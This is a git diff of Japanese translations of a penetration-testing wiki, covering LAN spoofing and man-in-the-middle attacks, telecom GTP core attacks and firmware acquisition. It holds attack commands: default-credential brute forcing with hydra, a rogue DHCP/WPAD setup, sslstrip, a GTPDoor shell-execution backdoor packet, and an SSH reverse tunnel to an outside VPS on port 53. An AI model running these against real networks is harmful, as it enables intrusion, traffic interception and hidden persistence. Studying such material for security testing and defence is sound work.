@ -417,11 +417,11 @@ ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpack
|
||||
```
|
||||
### CDP攻撃
|
||||
|
||||
CISCO Discovery Protocol (CDP) は、CISCOデバイス間の通信に不可欠であり、デバイスが**互いを識別し、設定詳細を共有する**ことを可能にします。
|
||||
CISCO Discovery Protocol (CDP) は、CISCOデバイス間の通信に不可欠であり、デバイスが**互いを識別し、設定の詳細を共有する**ことを可能にします。
|
||||
|
||||
#### パッシブデータ収集 <a href="#id-0e0f" id="id-0e0f"></a>
|
||||
|
||||
CDPはすべてのポートを通じて情報をブロードキャストするように設定されており、これがセキュリティリスクにつながる可能性があります。攻撃者はスイッチポートに接続すると、**Wireshark**、**tcpdump**、または**Yersinia**のようなネットワークスニファーを展開することができます。この行動は、ネットワークデバイスに関する機密データ、例えばそのモデルや実行中のCisco IOSのバージョンを明らかにする可能性があります。攻撃者は、特定のCisco IOSバージョンにおける脆弱性をターゲットにするかもしれません。
|
||||
CDPはすべてのポートを通じて情報をブロードキャストするように設定されており、これがセキュリティリスクにつながる可能性があります。攻撃者はスイッチポートに接続すると、**Wireshark**、**tcpdump**、または**Yersinia**のようなネットワークスニファーを展開することができます。この行動は、ネットワークデバイスに関する機密データ、例えばそのモデルや実行中のCisco IOSのバージョンを明らかにする可能性があります。攻撃者は、特定のCisco IOSバージョンに存在する脆弱性をターゲットにするかもしれません。
|
||||
|
||||
#### CDPテーブルフラッディングの誘発 <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
|
||||
@ -446,22 +446,22 @@ VoIP電話は、IoTデバイスとますます統合されており、特別な
|
||||
|
||||
ツール[**voiphopper**](http://voiphopper.sourceforge.net)は、さまざまな環境(Cisco、Avaya、Nortel、Alcatel-Lucent)でVoIP電話をエミュレートするように設計されています。CDP、DHCP、LLDP-MED、802.1Q ARPなどのプロトコルを使用して、音声ネットワークのVLAN IDを発見します。
|
||||
|
||||
**VoIP Hopper**は、Cisco Discovery Protocol(CDP)用に3つのモードを提供します:
|
||||
**VoIP Hopper**は、Cisco Discovery Protocol (CDP)のための3つのモードを提供します:
|
||||
|
||||
1. **スニフモード**(`-c 0`):ネットワークパケットを分析してVLAN IDを特定します。
|
||||
2. **スプーフモード**(`-c 1`):実際のVoIPデバイスのパケットを模倣したカスタムパケットを生成します。
|
||||
3. **事前作成パケットモード**(`-c 2`):特定のCisco IP電話モデルのパケットと同一のパケットを送信します。
|
||||
1. **スニフモード** (`-c 0`): ネットワークパケットを分析してVLAN IDを特定します。
|
||||
2. **スプーフモード** (`-c 1`): 実際のVoIPデバイスのパケットを模倣したカスタムパケットを生成します。
|
||||
3. **事前作成パケットモード** (`-c 2`): 特定のCisco IP電話モデルのパケットと同一のパケットを送信します。
|
||||
|
||||
速度のために推奨されるモードは3番目です。次のことを指定する必要があります:
|
||||
速度のために推奨されるモードは3番目です。以下を指定する必要があります:
|
||||
|
||||
- 攻撃者のネットワークインターフェース(`-i`パラメータ)。
|
||||
- エミュレートされるVoIPデバイスの名前(`-E`パラメータ)、Ciscoの命名形式(例:SEPの後にMACアドレス)に従います。
|
||||
|
||||
企業環境では、既存のVoIPデバイスを模倣するために、次のことを行うことがあります:
|
||||
企業環境では、既存のVoIPデバイスを模倣するために、次のようにすることがあります:
|
||||
|
||||
- 電話のMACラベルを確認する。
|
||||
- 電話のディスプレイ設定をナビゲートしてモデル情報を表示する。
|
||||
- VoIPデバイスをラップトップに接続し、Wiresharkを使用してCDPリクエストを観察する。
|
||||
- 電話のMACラベルを確認します。
|
||||
- 電話のディスプレイ設定をナビゲートしてモデル情報を表示します。
|
||||
- VoIPデバイスをラップトップに接続し、Wiresharkを使用してCDPリクエストを観察します。
|
||||
|
||||
ツールを3番目のモードで実行するためのコマンドの例は次のとおりです:
|
||||
```bash
|
||||
@ -499,24 +499,24 @@ yersinia dhcp -attack 3 #More parameters are needed
|
||||
```
|
||||
より自動化された方法は、ツール [DHCPing](https://github.com/kamorin/DHCPig) を使用することです。
|
||||
|
||||
前述のDoS攻撃を使用して、クライアントが環境内で新しいリースを取得するよう強制し、正当なサーバーを枯渇させて応答しなくすることができます。したがって、正当なサーバーが再接続しようとするときに、**次の攻撃で言及される悪意のある値を提供できます**。
|
||||
前述のDoS攻撃を使用して、クライアントが環境内で新しいリースを取得するよう強制し、正当なサーバーを枯渇させて応答しなくすることができます。したがって、正当なサーバーが再接続を試みるときに、**次の攻撃で言及される悪意のある値を提供できます**。
|
||||
|
||||
#### 悪意のある値を設定する
|
||||
|
||||
不正なDHCPサーバーは、`/usr/share/responder/DHCP.py`にあるDHCPスクリプトを使用して設定できます。これは、トラフィックを悪意のあるサーバーにリダイレクトすることによって、HTTPトラフィックや認証情報をキャプチャするようなネットワーク攻撃に役立ちます。ただし、不正なゲートウェイを設定することは、クライアントからのアウトバウンドトラフィックのみをキャプチャするため、実際のゲートウェイからの応答を見逃すため、効果が薄いです。代わりに、不正なDNSまたはWPADサーバーを設定することが、より効果的な攻撃のために推奨されます。
|
||||
不正なDHCPサーバーは、`/usr/share/responder/DHCP.py` にあるDHCPスクリプトを使用して設定できます。これは、トラフィックを悪意のあるサーバーにリダイレクトすることによって、HTTPトラフィックや認証情報をキャプチャするようなネットワーク攻撃に役立ちます。ただし、不正なゲートウェイを設定することは、クライアントからのアウトバウンドトラフィックのみをキャプチャするため、実際のゲートウェイからの応答を見逃すため、効果が薄いです。代わりに、不正なDNSまたはWPADサーバーを設定することが推奨されます。
|
||||
|
||||
以下は、不正なDHCPサーバーを構成するためのコマンドオプションです:
|
||||
|
||||
- **私たちのIPアドレス(ゲートウェイ広告)**: `-i 10.0.0.100`を使用して、あなたのマシンのIPをゲートウェイとして広告します。
|
||||
- **ローカルDNSドメイン名**: オプションで、`-d example.org`を使用してローカルDNSドメイン名を設定します。
|
||||
- **元のルーター/ゲートウェイIP**: `-r 10.0.0.1`を使用して、正当なルーターまたはゲートウェイのIPアドレスを指定します。
|
||||
- **プライマリDNSサーバーIP**: `-p 10.0.0.100`を使用して、あなたが制御する不正なDNSサーバーのIPアドレスを設定します。
|
||||
- **セカンダリDNSサーバーIP**: オプションで、`-s 10.0.0.1`を使用してセカンダリDNSサーバーのIPを設定します。
|
||||
- **ローカルネットワークのネットマスク**: `-n 255.255.255.0`を使用して、ローカルネットワークのネットマスクを定義します。
|
||||
- **DHCPトラフィック用インターフェース**: `-I eth1`を使用して、特定のネットワークインターフェースでDHCPトラフィックをリッスンします。
|
||||
- **WPAD構成アドレス**: `-w “http://10.0.0.100/wpad.dat”`を使用して、ウェブトラフィックの傍受を支援するWPAD構成のアドレスを設定します。
|
||||
- **デフォルトゲートウェイIPを偽装**: `-S`を含めて、デフォルトゲートウェイのIPアドレスを偽装します。
|
||||
- **すべてのDHCPリクエストに応答**: `-R`を含めて、サーバーがすべてのDHCPリクエストに応答するようにしますが、これはノイジーで検出される可能性があることに注意してください。
|
||||
- **私たちのIPアドレス(ゲートウェイ広告)**: `-i 10.0.0.100` を使用して、あなたのマシンのIPをゲートウェイとして広告します。
|
||||
- **ローカルDNSドメイン名**: オプションで、`-d example.org` を使用してローカルDNSドメイン名を設定します。
|
||||
- **元のルーター/ゲートウェイIP**: `-r 10.0.0.1` を使用して、正当なルーターまたはゲートウェイのIPアドレスを指定します。
|
||||
- **プライマリDNSサーバーIP**: `-p 10.0.0.100` を使用して、あなたが制御する不正なDNSサーバーのIPアドレスを設定します。
|
||||
- **セカンダリDNSサーバーIP**: オプションで、`-s 10.0.0.1` を使用してセカンダリDNSサーバーのIPを設定します。
|
||||
- **ローカルネットワークのネットマスク**: `-n 255.255.255.0` を使用して、ローカルネットワークのネットマスクを定義します。
|
||||
- **DHCPトラフィック用インターフェース**: `-I eth1` を使用して、特定のネットワークインターフェースでDHCPトラフィックをリッスンします。
|
||||
- **WPAD構成アドレス**: `-w “http://10.0.0.100/wpad.dat”` を使用して、ウェブトラフィックの傍受を支援するWPAD構成のアドレスを設定します。
|
||||
- **デフォルトゲートウェイIPを偽装**: `-S` を含めて、デフォルトゲートウェイのIPアドレスを偽装します。
|
||||
- **すべてのDHCPリクエストに応答**: `-R` を含めて、サーバーがすべてのDHCPリクエストに応答するようにしますが、これはノイジーで検出される可能性があることに注意してください。
|
||||
|
||||
これらのオプションを正しく使用することで、不正なDHCPサーバーを効果的に設定し、ネットワークトラフィックを傍受することができます。
|
||||
```python
|
||||
@ -539,7 +539,7 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||||
```
|
||||
### FHRP (GLBP & HSRP) 攻撃 <a href="#id-6196" id="id-6196"></a>
|
||||
|
||||
**FHRP** (First Hop Redundancy Protocol) は、**ホット冗長ルーティングシステムを作成する**ために設計されたネットワークプロトコルのクラスです。FHRPを使用すると、物理ルーターを単一の論理デバイスに統合でき、耐障害性が向上し、負荷の分散が助けられます。
|
||||
**FHRP** (First Hop Redundancy Protocol) は、**ホット冗長ルーティングシステムを作成するために設計されたネットワークプロトコルのクラス**です。FHRPを使用すると、物理ルーターを単一の論理デバイスに統合でき、耐障害性が向上し、負荷を分散するのに役立ちます。
|
||||
|
||||
**Cisco Systemsのエンジニアは、GLBPとHSRPの2つのFHRPプロトコルを開発しました。**
|
||||
|
||||
@ -549,38 +549,38 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### RIP
|
||||
|
||||
ルーティング情報プロトコル (RIP) の3つのバージョンが存在します: RIP, RIPv2, およびRIPng。RIPとRIPv2はポート520を使用してUDP経由でピアにデータグラムを送信しますが、RIPngはIPv6マルチキャストを介してUDPポート521にデータグラムをブロードキャストします。MD5認証のサポートはRIPv2によって導入されました。一方、RIPngにはネイティブ認証が組み込まれておらず、代わりにIPv6内のオプションのIPsec AHおよびESPヘッダーに依存しています。
|
||||
ルーティング情報プロトコル (RIP) の3つのバージョンが存在します: RIP、RIPv2、およびRIPng。RIPとRIPv2は、UDPを使用してポート520経由でピアにデータグラムを送信しますが、RIPngはIPv6マルチキャストを介してUDPポート521にデータグラムをブロードキャストします。MD5認証のサポートはRIPv2によって導入されました。一方、RIPngにはネイティブ認証が組み込まれておらず、代わりにIPv6内のオプションのIPsec AHおよびESPヘッダーに依存しています。
|
||||
|
||||
- **RIPとRIPv2:** 通信はポート520のUDPデータグラムを介して行われます。
|
||||
- **RIPng:** IPv6マルチキャストを介してデータグラムをブロードキャストするためにUDPポート521を利用します。
|
||||
|
||||
RIPv2はMD5認証をサポートしている一方で、RIPngはネイティブ認証を含まず、IPv6内のIPsec AHおよびESPヘッダーに依存しています。
|
||||
RIPv2はMD5認証をサポートしていますが、RIPngはネイティブ認証を含まず、IPv6内のIPsec AHおよびESPヘッダーに依存しています。
|
||||
|
||||
### EIGRP 攻撃
|
||||
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** は動的ルーティングプロトコルです。**距離ベクトルプロトコルです。** **認証**がなく、パッシブインターフェースの設定がない場合、**侵入者**がEIGRPルーティングに干渉し、**ルーティングテーブルの中毒**を引き起こす可能性があります。さらに、EIGRPネットワーク(言い換えれば、自律システム)は**フラットであり、ゾーンに分割されていません**。**攻撃者がルートを注入**すると、そのルートは自律EIGRPシステム全体に**広がる**可能性があります。
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** は動的ルーティングプロトコルです。**距離ベクトルプロトコルです。** **認証**がなく、受動インターフェースの設定がない場合、**侵入者**はEIGRPルーティングに干渉し、**ルーティングテーブルの中毒**を引き起こす可能性があります。さらに、EIGRPネットワーク(言い換えれば、自律システム)は**フラットであり、ゾーンに分割されていません**。**攻撃者がルートを注入**すると、そのルートは自律EIGRPシステム全体に**広がる**可能性があります。
|
||||
|
||||
EIGRPシステムを攻撃するには、**正当なEIGRPルーターとの隣接関係を確立する**必要があり、これにより基本的な偵察からさまざまな注入まで多くの可能性が開かれます。
|
||||
|
||||
[**FRRouting**](https://frrouting.org/)を使用すると、**BGP、OSPF、EIGRP、RIPおよびその他のプロトコルをサポートする仮想ルーターを実装できます。** これを攻撃者のシステムに展開するだけで、実際にルーティングドメイン内の正当なルーターのふりをすることができます。
|
||||
[**FRRouting**](https://frrouting.org/) は、**BGP、OSPF、EIGRP、RIPおよびその他のプロトコルをサポートする仮想ルーターを実装することを可能にします。** これを攻撃者のシステムに展開するだけで、実際にルーティングドメイン内の正当なルーターのふりをすることができます。
|
||||
|
||||
{{#ref}}
|
||||
eigrp-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
[**Coly**](https://code.google.com/p/coly/)は、EIGRP (Enhanced Interior Gateway Routing Protocol) ブロードキャストを傍受する機能を持っています。また、パケットの注入も可能で、これを利用してルーティング構成を変更できます。
|
||||
[**Coly**](https://code.google.com/p/coly/) は、EIGRP (Enhanced Interior Gateway Routing Protocol) ブロードキャストを傍受する機能を持っています。また、ルーティング構成を変更するために利用できるパケットの注入も可能です。
|
||||
|
||||
### OSPF
|
||||
|
||||
Open Shortest Path First (OSPF) プロトコルでは、**MD5認証が一般的に使用され、ルーター間の安全な通信を確保します**。しかし、このセキュリティ対策は、LokiやJohn the Ripperのようなツールを使用して侵害される可能性があります。これらのツールはMD5ハッシュをキャプチャして解読することができ、認証キーを暴露します。このキーが取得されると、新しいルーティング情報を導入するために使用できます。ルートパラメータを設定し、侵害されたキーを確立するために、_Injection_ および _Connection_ タブがそれぞれ利用されます。
|
||||
Open Shortest Path First (OSPF) プロトコルでは、**ルーター間の安全な通信を確保するためにMD5認証が一般的に使用されます**。しかし、このセキュリティ対策は、LokiやJohn the Ripperのようなツールを使用して侵害される可能性があります。これらのツールはMD5ハッシュをキャプチャして解読することができ、認証キーを暴露します。このキーが取得されると、新しいルーティング情報を導入するために使用できます。ルートパラメータを設定し、侵害されたキーを確立するために、_Injection_ および _Connection_ タブがそれぞれ利用されます。
|
||||
|
||||
- **MD5ハッシュのキャプチャと解読:** LokiやJohn the Ripperのようなツールがこの目的で使用されます。
|
||||
- **ルートパラメータの設定:** これは _Injection_ タブを通じて行われます。
|
||||
- **侵害されたキーの設定:** キーは _Connection_ タブで設定されます。
|
||||
- **侵害されたキーの設定:** キーは _Connection_ タブの下で設定されます。
|
||||
|
||||
### その他の一般的なツールとリソース
|
||||
|
||||
- [**Above**](https://github.com/c4s73r/Above): ネットワークトラフィックをスキャンし、脆弱性を見つけるツール
|
||||
- [**Above**](https://github.com/c4s73r/Above): ネットワークトラフィックをスキャンし、脆弱性を見つけるためのツール
|
||||
- **ネットワーク攻撃に関する** [**詳細情報**](https://github.com/Sab0tag3d/MITM-cheatsheet) を見つけることができます。
|
||||
|
||||
## **スプーフィング**
|
||||
@ -592,11 +592,11 @@ yersinia dhcp -attack 2 #More parameters are needed
|
||||
```
|
||||
### ARP Spoofing
|
||||
|
||||
前のセクションを確認してください [previous section](#arp-spoofing).
|
||||
[前のセクション](#arp-spoofing)を確認してください。
|
||||
|
||||
### ICMPRedirect
|
||||
|
||||
ICMP Redirectは、攻撃者がIPに到達する最良の方法であることを示すICMPパケットタイプ1コード5を送信することから成ります。次に、被害者がそのIPに連絡を取りたいとき、攻撃者を通じてパケットを送信します。
|
||||
ICMP Redirectは、攻撃者がIPに到達する最良の方法であることを示すICMPパケットタイプ1コード5を送信することから成ります。次に、被害者がそのIPに連絡を取りたい場合、攻撃者を通じてパケットを送信します。
|
||||
```bash
|
||||
Ettercap
|
||||
icmp_redirect
|
||||
@ -638,7 +638,7 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
DNSルックアップが失敗した場合のローカルホスト解決のために、Microsoftシステムは**Link-Local Multicast Name Resolution (LLMNR)**および**NetBIOS Name Service (NBT-NS)**に依存しています。同様に、**Apple Bonjour**および**Linuxゼロコンフィギュレーション**の実装は、ネットワーク内のシステムを発見するために**Multicast DNS (mDNS)**を利用します。これらのプロトコルは認証されておらず、UDP上でメッセージをブロードキャストするため、攻撃者によって悪意のあるサービスにユーザーをリダイレクトするために悪用される可能性があります。
|
||||
|
||||
Responderを使用して、ホストによって検索されるサービスを偽装し、偽の応答を送信することができます。\
|
||||
Responderを使用してサービスを偽装する方法についての詳細は[こちらを読む](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
|
||||
Responderを使用してサービスを偽装する方法についての詳細は、こちらをお読みください。[how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
|
||||
|
||||
### [WPADのスプーフィング](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
@ -648,11 +648,11 @@ Responderを使用してサービスを偽装する方法についての詳細
|
||||
- **DNS**によって、ローカルドメイン内で_wpad_というラベルの付いたホスト名を検索します。
|
||||
- **Microsoft LLMNRおよびNBT-NS**を介して、DNSルックアップが成功しない場合に使用されるフォールバックメカニズムです。
|
||||
|
||||
ツールResponderは、このプロトコルを利用して**悪意のあるWPADサーバー**として機能します。DHCP、DNS、LLMNR、およびNBT-NSを使用して、クライアントを誤導して接続させます。Responderを使用してサービスを偽装する方法についてさらに詳しくは[こちらを確認してください](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
|
||||
ツールResponderは、このプロトコルを利用して**悪意のあるWPADサーバー**として機能します。DHCP、DNS、LLMNR、およびNBT-NSを使用して、クライアントを誤って接続させるように誘導します。Responderを使用してサービスを偽装する方法についてさらに詳しくは、[check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
|
||||
|
||||
### [SSDPおよびUPnPデバイスのスプーフィング](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
ネットワーク内で異なるサービスを提供して、**ユーザーを騙してプレーンテキストの認証情報を入力させる**ことができます。**この攻撃に関する詳細は** [**SSDPおよびUPnPデバイスのスプーフィング**](spoofing-ssdp-and-upnp-devices.md)**で。**
|
||||
ネットワーク内で異なるサービスを提供し、**ユーザーを騙してプレーンテキストの認証情報を入力させる**ことができます。**この攻撃に関する詳細は、[**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**をご覧ください。**
|
||||
|
||||
### IPv6隣接スプーフィング
|
||||
|
||||
@ -684,7 +684,7 @@ mitm6
|
||||
|
||||
### sslStrip
|
||||
|
||||
基本的に、この攻撃が行うことは、**ユーザー**が**HTTPS**バージョンに**リダイレクト**される**HTTP**ページに**アクセス**しようとした場合です。**sslStrip**は**クライアントとのHTTP接続**と**サーバーとのHTTPS接続**を**維持**するため、**プレーンテキスト**で接続を**スニッフィング**することができます。
|
||||
基本的に、この攻撃が行うことは、**ユーザー**が**HTTPS**バージョンに**リダイレクト**される**HTTP**ページに**アクセス**しようとした場合です。**sslStrip**は**クライアントとのHTTP接続**と**サーバーとのHTTPS接続**を**維持**するため、**平文**で接続を**スニッフィング**することができます。
|
||||
```bash
|
||||
apt-get install sslstrip
|
||||
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||||
@ -697,9 +697,9 @@ More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/Bla
|
||||
|
||||
### sslStrip+ と dns2proxy を使用した HSTS バイパス
|
||||
|
||||
**sslStrip+ と dns2proxy** の **違い** は、**sslStrip** に対して、例えば _**www.facebook.com**_ を _**wwww.facebook.com**_ **にリダイレクト** し(**追加の** "**w**" に注意)、このドメインの **アドレスを攻撃者の IP** に設定することです。このようにして、**クライアント** は _**wwww.facebook.com**_ **(攻撃者)** に **接続** しますが、裏では **sslstrip+** が **www.facebook.com** との **実際の接続** を **維持** します。
|
||||
**sslStrip+ と dns2proxy** の **違い** は、**sslStrip** に対して、例えば _**www.facebook.com**_ を _**wwww.facebook.com**_ **にリダイレクト** し(**余分な** "**w**" に注意)、**このドメインのアドレスを攻撃者の IP に設定** することです。このようにして、**クライアント** は _**wwww.facebook.com**_ **(攻撃者)に接続** しますが、裏では **sslstrip+** が **www.facebook.com** との **実際の接続** を **維持** します。
|
||||
|
||||
この技術の **目的** は **HSTS を回避する** ことで、_**wwww**.facebook.com_ **は** ブラウザの **キャッシュ** に保存されないため、ブラウザは **HTTP での facebook 認証を実行するように騙されます**。\
|
||||
この技術の **目的** は **HSTS を回避する** ことで、_**wwww**.facebook.com_ **は** **ブラウザのキャッシュ** に保存されないため、ブラウザは **HTTP での facebook 認証を実行するように騙されます**。\
|
||||
この攻撃を実行するには、犠牲者が最初に [http://www.faceook.com](http://www.faceook.com) にアクセスしなければならないことに注意してください。これは、http ページ内のリンクを変更することで実行できます。
|
||||
|
||||
More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||||
@ -708,7 +708,7 @@ More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://
|
||||
|
||||
TODO: easy-creds, evilgrade, metasploit, factory
|
||||
|
||||
## TCP ポートでのリッスン
|
||||
## TCP ポートでリッスン
|
||||
```bash
|
||||
sudo nc -l -p 80
|
||||
socat TCP4-LISTEN:80,fork,reuseaddr -
|
||||
@ -736,7 +736,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
|
||||
時には、クライアントがCAが有効であることを確認すると、**CAによって署名された他のホスト名の証明書を提供する**ことができます。\
|
||||
もう一つの興味深いテストは、**要求されたホスト名の証明書を自己署名で提供する**ことです。
|
||||
|
||||
他にテストすることは、有効なCAではない有効な証明書で証明書に署名しようとすることです。また、有効な公開鍵を使用し、Diffie-Hellmanのようなアルゴリズムを強制的に使用し(実際の秘密鍵で何も復号化する必要がないもの)、クライアントが実際の秘密鍵のプローブ(ハッシュのような)を要求したときに、偽のプローブを送信し、クライアントがこれをチェックしないことを期待します。
|
||||
他にテストすることは、有効なCAではない有効な証明書で証明書に署名しようとすることです。また、有効な公開鍵を使用し、Diffie-Hellmanのようなアルゴリズムを強制的に使用し(実際の秘密鍵で何も復号化する必要がないもの)、クライアントが実際の秘密鍵のプローブ(ハッシュのような)を要求したときに、偽のプローブを送信し、クライアントがこれを確認しないことを期待します。
|
||||
|
||||
## Bettercap
|
||||
```bash
|
||||
|
@ -3,12 +3,12 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> モバイルコアプロトコル(GPRSトンネリングプロトコル - GTP)は、しばしば半信頼のGRX/IPXローミングバックボーンを通過します。ほとんど認証がないプレーンUDP上で動作するため、**テレコムの境界内にある任意の足場は通常、コア信号プレーンに直接到達できます**。以下のノートは、SGSN/GGSN、PGW/SGWおよび他のEPCノードに対して実際に観察された攻撃的なトリックを集めています。
|
||||
> モバイルコアプロトコル(GPRSトンネリングプロトコル – GTP)は、しばしば半信頼のGRX/IPXローミングバックボーンを通過します。 それらはほとんど認証なしでプレーンUDP上を走行するため、**テレコムの境界内の任意の足場は通常、コア信号プレーンに直接到達できます**。 以下のノートは、SGSN/GGSN、PGW/SGWおよび他のEPCノードに対して実際に観察された攻撃的なトリックを集めています。
|
||||
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 Default OSS / NE Accounts
|
||||
驚くほど多くのベンダーネットワーク要素は、`root:admin`、`dbadmin:dbadmin`、`cacti:cacti`、`ftpuser:ftpuser`などのハードコーディングされたSSH/Telnetユーザーと共に出荷されます。専用のワードリストはブルートフォースの成功率を大幅に向上させます:
|
||||
驚くほど多くのベンダーネットワーク要素は、`root:admin`、`dbadmin:dbadmin`、`cacti:cacti`、`ftpuser:ftpuser`などのハードコーディングされたSSH/Telnetユーザーと共に出荷されます。 専用のワードリストはブルートフォースの成功率を大幅に向上させます:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
@ -34,7 +34,7 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
- `--oper` ホーム / HNI (MCC+MNC)
|
||||
- `-w` 生のパケットをpcapに書き込む
|
||||
|
||||
バイナリ内の重要な定数は、スキャンを広げるためにパッチを当てることができます:
|
||||
バイナリ内の重要な定数は、スキャンを拡大するためにパッチを当てることができます:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
@ -42,7 +42,7 @@ common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. コード実行 over GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` は、**UDP 2123 にバインドし、すべての受信 GTP-C パケットを解析する**小さな ELF サービスです。ペイロードが事前共有タグで始まると、残りは復号化され(AES-128-CBC)、`/bin/sh -c` を介して実行されます。stdout/stderr は **Echo Response** メッセージ内に外部セッションが作成されることなく流出されます。
|
||||
`GTPDoor` は、**UDP 2123 にバインドし、すべての受信 GTP-C パケットを解析する**小さな ELF サービスです。ペイロードが事前共有タグで始まると、残りは復号化され(AES-128-CBC)、`/bin/sh -c` を介して実行されます。stdout/stderr は **Echo Response** メッセージ内に外部セッションが作成されないように流出されます。
|
||||
|
||||
最小限の PoC パケット (Python):
|
||||
```python
|
||||
@ -59,14 +59,14 @@ print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
## 4. コアを通じたピボット
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN`は、**実際のGGSN/PGWに向けてPDPコンテキストを確立することができるSGSNエミュレーター**を出荷します。交渉が完了すると、Linuxはローミングピアから到達可能な新しい`tun0`インターフェースを受け取ります。
|
||||
`OsmoGGSN`は、**実際のGGSN/PGWに向けてPDPコンテキストを確立する**ことができるSGSNエミュレーターを出荷します。交渉が完了すると、Linuxはローミングピアから到達可能な新しい`tun0`インターフェースを受け取ります。
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
適切なファイアウォールのヘアピンニングにより、このトンネルはシグナリング専用VLANをバイパスし、直接**データプレーン**に到達します。
|
||||
適切なファイアウォールのヘアピンを使用することで、このトンネルはシグナリング専用VLANをバイパスし、直接**データプレーン**に到達します。
|
||||
|
||||
### 4.2 ポート53経由のSSHリバーストンネル
|
||||
DNSは、ローミングインフラストラクチャではほぼ常にオープンです。内部SSHサービスをVPSに公開し、:53でリッスンし、後で自宅から戻ります:
|
||||
@ -79,9 +79,9 @@ ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
|
||||
| チャネル | トランスポート | デコーディング | ノート |
|
||||
|---------|-----------|----------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4バイトキー + 14バイトチャンク(XOR) | 完全なパッシブリスナー、外向きトラフィックなし |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR(キー = `funnyAndHappy`)Aレコードオクテットにエンコード | `*.nodep`サブドメインを監視 |
|
||||
| GTP – `GTPDoor` | UDP 2123 | プライベートIE内のAES-128-CBCブロブ | 正当なGTP-Cチャッターと混在 |
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4バイトキー + 14バイトチャンク (XOR) | 完全なパッシブリスナー、外向きトラフィックなし |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (キー = `funnyAndHappy`) Aレコードオクテットにエンコード | `*.nodep`サブドメインを監視 |
|
||||
| GTP – `GTPDoor` | UDP 2123 | プライベートIE内のAES-128-CBCブロブ | 正当なGTP-Cチャッターに混ざる |
|
||||
|
||||
すべてのインプラントは、**タイムスタンプ**を変更し、クラッシュした場合は再生成するウォッチドッグを実装しています。
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **はじめに**
|
||||
|
||||
ファームウェアは、デバイスが正しく動作するために必要なソフトウェアであり、ハードウェアコンポーネントとユーザーが対話するソフトウェア間の通信を管理し促進します。これは永続メモリに保存されており、デバイスが電源を入れた瞬間から重要な指示にアクセスできるようにし、オペレーティングシステムの起動につながります。ファームウェアを調査し、潜在的に変更することは、セキュリティの脆弱性を特定するための重要なステップです。
|
||||
ファームウェアは、デバイスが正しく動作するために必要なソフトウェアであり、ハードウェアコンポーネントとユーザーが対話するソフトウェア間の通信を管理し促進します。これは永続メモリに保存されており、デバイスが電源を入れた瞬間から重要な指示にアクセスできるようにし、オペレーティングシステムの起動につながります。ファームウェアを調査し、潜在的に修正することは、セキュリティの脆弱性を特定するための重要なステップです。
|
||||
|
||||
## **情報収集**
|
||||
|
||||
@ -23,13 +23,13 @@
|
||||
|
||||
## **ファームウェアの取得**
|
||||
|
||||
ファームウェアの取得は、さまざまな手段を通じてアプローチでき、それぞれ異なる複雑さを持っています:
|
||||
ファームウェアを取得する方法はいくつかあり、それぞれ異なる複雑さがあります:
|
||||
|
||||
- **直接**ソース(開発者、製造業者)から
|
||||
- 提供された指示から**ビルド**する
|
||||
- 公式サポートサイトから**ダウンロード**する
|
||||
- ホストされているファームウェアファイルを見つけるための**Google dork**クエリを利用する
|
||||
- [S3Scanner](https://github.com/sa7mon/S3Scanner)のようなツールを使用して**クラウドストレージ**に直接アクセスする
|
||||
- **提供された指示**から構築する
|
||||
- **公式サポートサイト**からダウンロードする
|
||||
- ホストされたファームウェアファイルを見つけるために**Google dork**クエリを利用する
|
||||
- [S3Scanner](https://github.com/sa7mon/S3Scanner)のようなツールを使って**クラウドストレージ**に直接アクセスする
|
||||
- 中間者攻撃技術を介して**更新**を傍受する
|
||||
